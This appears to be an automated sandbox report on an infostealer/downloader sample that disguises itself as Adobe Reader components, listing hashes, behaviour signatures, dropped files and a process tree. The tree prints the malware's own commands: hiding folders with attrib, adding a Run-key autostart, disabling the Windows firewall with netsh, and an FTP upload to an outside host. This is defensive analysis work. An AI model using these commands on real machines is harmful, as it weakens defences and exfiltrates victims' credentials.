Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-09-2024 03:23

General

  • Target

    f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe

  • Size

    2.3MB

  • MD5

    002ed11af9c78566710fdd1debd21644

  • SHA1

    d9c44fc6c474dacb0ec735cfc0a789f5fd20f5a0

  • SHA256

    f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19

  • SHA512

    f0f8af4f96d3e72ea21a7203d1837aa50f1b39f5fb70c7e39bd6b18e3eb6ee7c2b193c2d323f30c8c37c58dfa79f364501cecae4b26454c1120332470eea412e

  • SSDEEP

    49152:Ipgs8ABpNAcbBicSTgbDgtcBbWRzfYb/kL+agsNFCriQmew54a31Ft:IGs8AvNzXgtcpEfFFC2QVbaXt

Malware Config

Signatures

  • Banload

    Banload variants download malicious files, then install and execute the files.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Modifies Windows Firewall 2 TTPs 4 IoCs
  • Sets file to hidden 1 TTPs 5 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 13 IoCs
  • NTFS ADS 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe
    "C:\Users\Admin\AppData\Local\Temp\f881941f711f3d797027dede73b477345f361838d24bf08e558f11db0f58cd19.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:264
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat" /quiet /passive /norestart"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\SysWOW64\xcopy.exe
          xcopy /y /h /e /r /k /c *.* "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\"
          4⤵
          • System Location Discovery: System Language Discovery
          • Enumerates system info in registry
          PID:2648
        • C:\Windows\SysWOW64\attrib.exe
          attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1596
        • C:\Windows\SysWOW64\attrib.exe
          attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\AdobeR"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1860
        • C:\Windows\SysWOW64\attrib.exe
          attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\Adobe Reader\ADBR\READER"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1592
        • C:\Windows\SysWOW64\attrib.exe
          attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1548
        • C:\Windows\SysWOW64\attrib.exe
          attrib +r +a +s +h "C:\Users\Admin\AppData\Roaming\AdobeR"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1856
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adob9.vbs"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1660
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\rea01.bat" /quiet /passive /norestart"
            5⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1496
            • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
              Adobeta.exe -a -c -d -natpasv -s:01.klm ftp.freehostia.com -s
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1296
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "AdobeA" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\acro4.bat"
              6⤵
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              PID:3020
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              6⤵
              • System Location Discovery: System Language Discovery
              • Gathers network information
              PID:3028
            • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
              adbr01.exe -f "011.011"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2552
              • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr01.exe
                adbr01.exe -f "011.011"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                • NTFS ADS
                • Suspicious use of AdjustPrivilegeToken
                PID:1916
            • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe
              adbr02.exe -f "112.112"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1644
              • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\adbr02.exe
                adbr02.exe -f "112.112"
                7⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                • NTFS ADS
                • Suspicious use of AdjustPrivilegeToken
                PID:1940
            • C:\Windows\SysWOW64\netsh.exe
              netsh firewall set opmode disable
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2544
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall set currentprofile state off
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:1576
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall set profiles state off
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:3008
            • C:\Windows\SysWOW64\netsh.exe
              NetSh Advfirewall set allprofiles state off
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • System Location Discovery: System Language Discovery
              PID:2156
            • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\Adobeta.exe
              Adobeta.exe -a -c -d -natpasv -s:004.afq ftp.freehostia.com
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2328
            • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\AReader.exe
              AReader 5400
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2728
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\Licenses\086A4C8982A52E70F.Lic

    Filesize

    140B

    MD5

    784b21c7c353438e77ebdc7cb9705963

    SHA1

    785a7c9866e7268aa1e3ba7799ed514750e636db

    SHA256

    feb9bf2893c33236c799b308140c009945d6b6b0dd98ad743642f7e1c924c866

    SHA512

    45021eb9059fadefcf7545c3885d4d558f332a961ccd1758ce360dd6c4b31e62b7b8956bb0d8aaafabf5c0b43872d3c1a38ec2cd0ac1afd09010ac5e35946581

  • C:\ProgramData\TEMP:663565B1

    Filesize

    140B

    MD5

    858aefd1a82c3131ad02dd28c8c91d9a

    SHA1

    186d709fb5c394b57d35a62c98c5636a194040bc

    SHA256

    0cf1ee414b7f8950f83c251e26b7a8c12b7e0660f595161accdd24d685662c66

    SHA512

    d342fee13de36ae30e48060d59992507447712f2d68589b83379249acb2a9f9bddd17aa93e360da80eb9664fa40badececf5562b27c0b0e49414dc591f8abf5e

  • C:\ProgramData\TEMP\RAIDTest

    Filesize

    4B

    MD5

    c2f09542b6c7daf4288f3524c8cebb18

    SHA1

    9430b21baf07f0d105b9ee5fdd9f868418454517

    SHA256

    55d7808233c58f1606fff77eb382a02ed729bf5d8b2640fb313d0f7c91e970d4

    SHA512

    dcc19cfbc78b78708ce2586228424194f846d80b6d072045baaf93559d20f71e809a4eb57e7dac3b4ea109d90aeb585d0b5438dc1dd7d34054c03aa6350d6672

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\004.afq

    Filesize

    121B

    MD5

    3599c797ad0bf899791bfa24413c3ab6

    SHA1

    215a520638bb3f1336f268d1acc1170bf2ce0768

    SHA256

    0a9963eefd15805efaef32bf961b354fc255a5a23b4d466aa8e94df53a3c3e8c

    SHA512

    add003202c97629f2d87d4b7f1876d79dc1ae35cfc85fc55e578adbc3cc009e41ca42c66f33521acb5d8a651fe31d69de5699af1df82ada8227bbeeddbe8d5d1

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\AReader.exe

    Filesize

    124KB

    MD5

    1a1075e5e307f3a4b8527110a51ce827

    SHA1

    f453838ed21020b7ca059244feea8579e5aa74ef

    SHA256

    ddd90e3546e95b0991df26a17cf26fa2f1c20d6a1fd4ffccf1e9b3ec3d3810d5

    SHA512

    b6b70c6cb3cdb05a69c75b86c1fa0fadb38de0391e1fa17daff7d12dfae2a9f483546d9bf1001ff622694fdf8a28b85cd30fc541c25be62df022d22ca17decc1

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob03.bat

    Filesize

    556B

    MD5

    97410477dc9501dffca4ea4b1ae57273

    SHA1

    fb573b3bf4eba734b0f32db1a5b7ff78de36b064

    SHA256

    3836545f759c1ff93892ea0ef81424c8acdef7dc9440e8404bc04662fe7e6f2c

    SHA512

    3d22d0bf5375f3cedc7f6bdc0b2fac8de834a1b80567a2395046c5aada74d87e8338fbd0f787b14dbe3f5914c9a751597f1332d89d19f6d96de195ef334cc915

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adob9.vbs

    Filesize

    186B

    MD5

    09082253605a7171f078e26dc308a667

    SHA1

    585286c9fcda5e66e7fdb4e17a7bab6160183d46

    SHA256

    f4c67dc01ce4bf55e1b574009c49d481dad0d33070f53f42bc76807eb5e324ed

    SHA512

    adb4a1fec6feada14b8b4f28730e098a0af19f1e7c2fa0fe684030d1171e56c88813661a2352ce598221853fce3dc8a4bb3b2e1dc80b6471c41d2598f635b1d8

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobedc.vbs

    Filesize

    189B

    MD5

    ce8041824149d8266dbb0ad9688224d7

    SHA1

    3ab653c43ce66681ceaab90193e1a4c95d998090

    SHA256

    0a697bf8507b3f517afe7d67ed0f12f1a8d0edbb72252d75cc7677d6e2e638c5

    SHA512

    e1a205a1665fe5beb3c53cdcff4eb9c66a4773d730215ff87a179f3c825d342f8f7e8b5e65e45e6a1f13dfe7f58a09f5a920ce9416fe231d74ad1d99e60bd21d

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\Adobeta.exe

    Filesize

    256KB

    MD5

    97b8dbcc7b3cc290aef4241df911ac2e

    SHA1

    733ababbcd278821d4e3ee78580841981f26642e

    SHA256

    c44ca1fe145c4f0dcea4efb95171cbf16dfec9fe66a603fbe29c94c21050a023

    SHA512

    4adaa7621e2c858e6541792146260142e1d28683ec1515a743a56bc106ab425edfce856ef3b0d146d63704b34694c9e666a39e3845a097d41cbf465537ec9b25

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\acro4.bat

    Filesize

    139B

    MD5

    89412aba215b6cd18b8a64c4485fa03f

    SHA1

    37089346499f54a7d89262a67d95c8764ab3ca1f

    SHA256

    9607fb2a0e2ea02cd674272680a238d21539071db3c9735818a1abf11ff30ff1

    SHA512

    7afe571b9ad4b67fdf00cecade8645e82471c1c5098b563a2e2d0cff96905f34b6071eb93c86f59850335e7e88d988d6c016553cdbbe1a693e1cdc3082a3790b

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr01.exe

    Filesize

    2.1MB

    MD5

    3351585db91521d6fa543490ac7cd6a5

    SHA1

    9be2b3abf17613d7386f9949cabaedd466902e82

    SHA256

    3f1749d4a96eb85fe2104fef8d871d9696b456615ff3775d484cc2c2431f40b4

    SHA512

    804b293c02a5526b8c7d5dc48edc18cb33e06a07b39a0b3f46d8d34387e1848b245b087fd820a4a14ac4866c85a120837217ddc9bb47ef32e1b5b80f0dc66d30

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\adbr02.exe

    Filesize

    2.1MB

    MD5

    75a35514185cd2c5cf5aab50cc380963

    SHA1

    f1ff1e088f910398a48f4f7dfddec24e6d6d1734

    SHA256

    1cf5eb2f7c5cd5b7d036478d30408212494ab73190172c63df67e66350374937

    SHA512

    ca6bb433fe5fd4ea350dfa40dd80bb6913ea4693b6ba6188e67f55e4211db9975fd7af570546bce0fd877a3bfeceadd4da9ba9c46c6cb69f9963914739e16297

  • C:\Users\Admin\AppData\Roaming\AdobeR\ADBR\READER\rea01.bat

    Filesize

    1KB

    MD5

    ce7ccd3b48dbe8f34db3b2b1222e4fd9

    SHA1

    e25f9947c2b250c98dffd7bfeaca75b4db17dcfd

    SHA256

    6374a35588bd20362e54dff9e8cf0dffba5ba0ec5952a08fb51caea54c5d228e

    SHA512

    ee6b389f29d30a572c7c9837575df7ff197589824c5377f02b7c453572139d4ecc75c5b194a601b953fbb7e692b3929faf8c4e14e7fec51cd25d71658636ef99

  • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\011.011

    Filesize

    1KB

    MD5

    b5f36cd4b0866e16d339a2e41bb999ac

    SHA1

    a4affcd4157f2235f33048063b12c79b38dea5f6

    SHA256

    0bdbf036b9e4938bc826f733630aaef13c7362a4d33e55c24a1640f89a5b53fa

    SHA512

    d87cf55e0c4308a2bcca90e89b70a19f8e256603f621e6587278ade80e85a0fc40bb1c1ea137d067ac195c9aae9aa541af3e6d0680fdf8ae7a3f09bb0bc3051b

  • C:\Users\Admin\AppData\Roaming\Adobe\Adobe Inc\AdobeRead\112.112

    Filesize

    400B

    MD5

    3c305699054489d4ba953729549294b8

    SHA1

    272b920622013b83dc073c26b75f5968663496c5

    SHA256

    52392e1693a81b409ab85297d0dc90dd360b0fd3ba022341499ab3f23add16d8

    SHA512

    7051b5a88aa709cf6496bddd82c91cc8d198390825c202ec34d1295e1070e62cf92566390dbd083b091a7c83d539d17751790e9cba569f4f566cd90de488000b

  • memory/1496-123-0x0000000002440000-0x00000000026F4000-memory.dmp

    Filesize

    2.7MB

  • memory/1496-124-0x0000000002440000-0x00000000026F4000-memory.dmp

    Filesize

    2.7MB

  • memory/1496-193-0x0000000002440000-0x00000000026F7000-memory.dmp

    Filesize

    2.7MB

  • memory/1496-194-0x0000000002440000-0x00000000026F7000-memory.dmp

    Filesize

    2.7MB

  • memory/1496-163-0x0000000002440000-0x00000000026F7000-memory.dmp

    Filesize

    2.7MB

  • memory/1496-164-0x0000000002440000-0x00000000026F7000-memory.dmp

    Filesize

    2.7MB

  • memory/1644-200-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1644-168-0x0000000002570000-0x0000000002827000-memory.dmp

    Filesize

    2.7MB

  • memory/1644-166-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-146-0x0000000002920000-0x0000000002B2C000-memory.dmp

    Filesize

    2.0MB

  • memory/1916-157-0x0000000002920000-0x0000000002B2C000-memory.dmp

    Filesize

    2.0MB

  • memory/1916-150-0x0000000002920000-0x0000000002B2C000-memory.dmp

    Filesize

    2.0MB

  • memory/1916-142-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-144-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-145-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-130-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-143-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/1916-135-0x0000000002920000-0x0000000002B2C000-memory.dmp

    Filesize

    2.0MB

  • memory/1916-131-0x0000000002920000-0x0000000002B2C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-171-0x0000000002710000-0x000000000291C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-184-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1940-198-0x0000000002710000-0x000000000291C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-186-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1940-188-0x0000000002710000-0x000000000291C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-187-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1940-185-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/1940-175-0x0000000002710000-0x000000000291C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-191-0x0000000002710000-0x000000000291C000-memory.dmp

    Filesize

    2.0MB

  • memory/1940-170-0x0000000000400000-0x00000000006B7000-memory.dmp

    Filesize

    2.7MB

  • memory/2308-73-0x0000000000360000-0x0000000000362000-memory.dmp

    Filesize

    8KB

  • memory/2552-129-0x0000000002670000-0x0000000002924000-memory.dmp

    Filesize

    2.7MB

  • memory/2552-126-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/2552-159-0x0000000000400000-0x00000000006B4000-memory.dmp

    Filesize

    2.7MB

  • memory/2692-74-0x0000000000160000-0x0000000000162000-memory.dmp

    Filesize

    8KB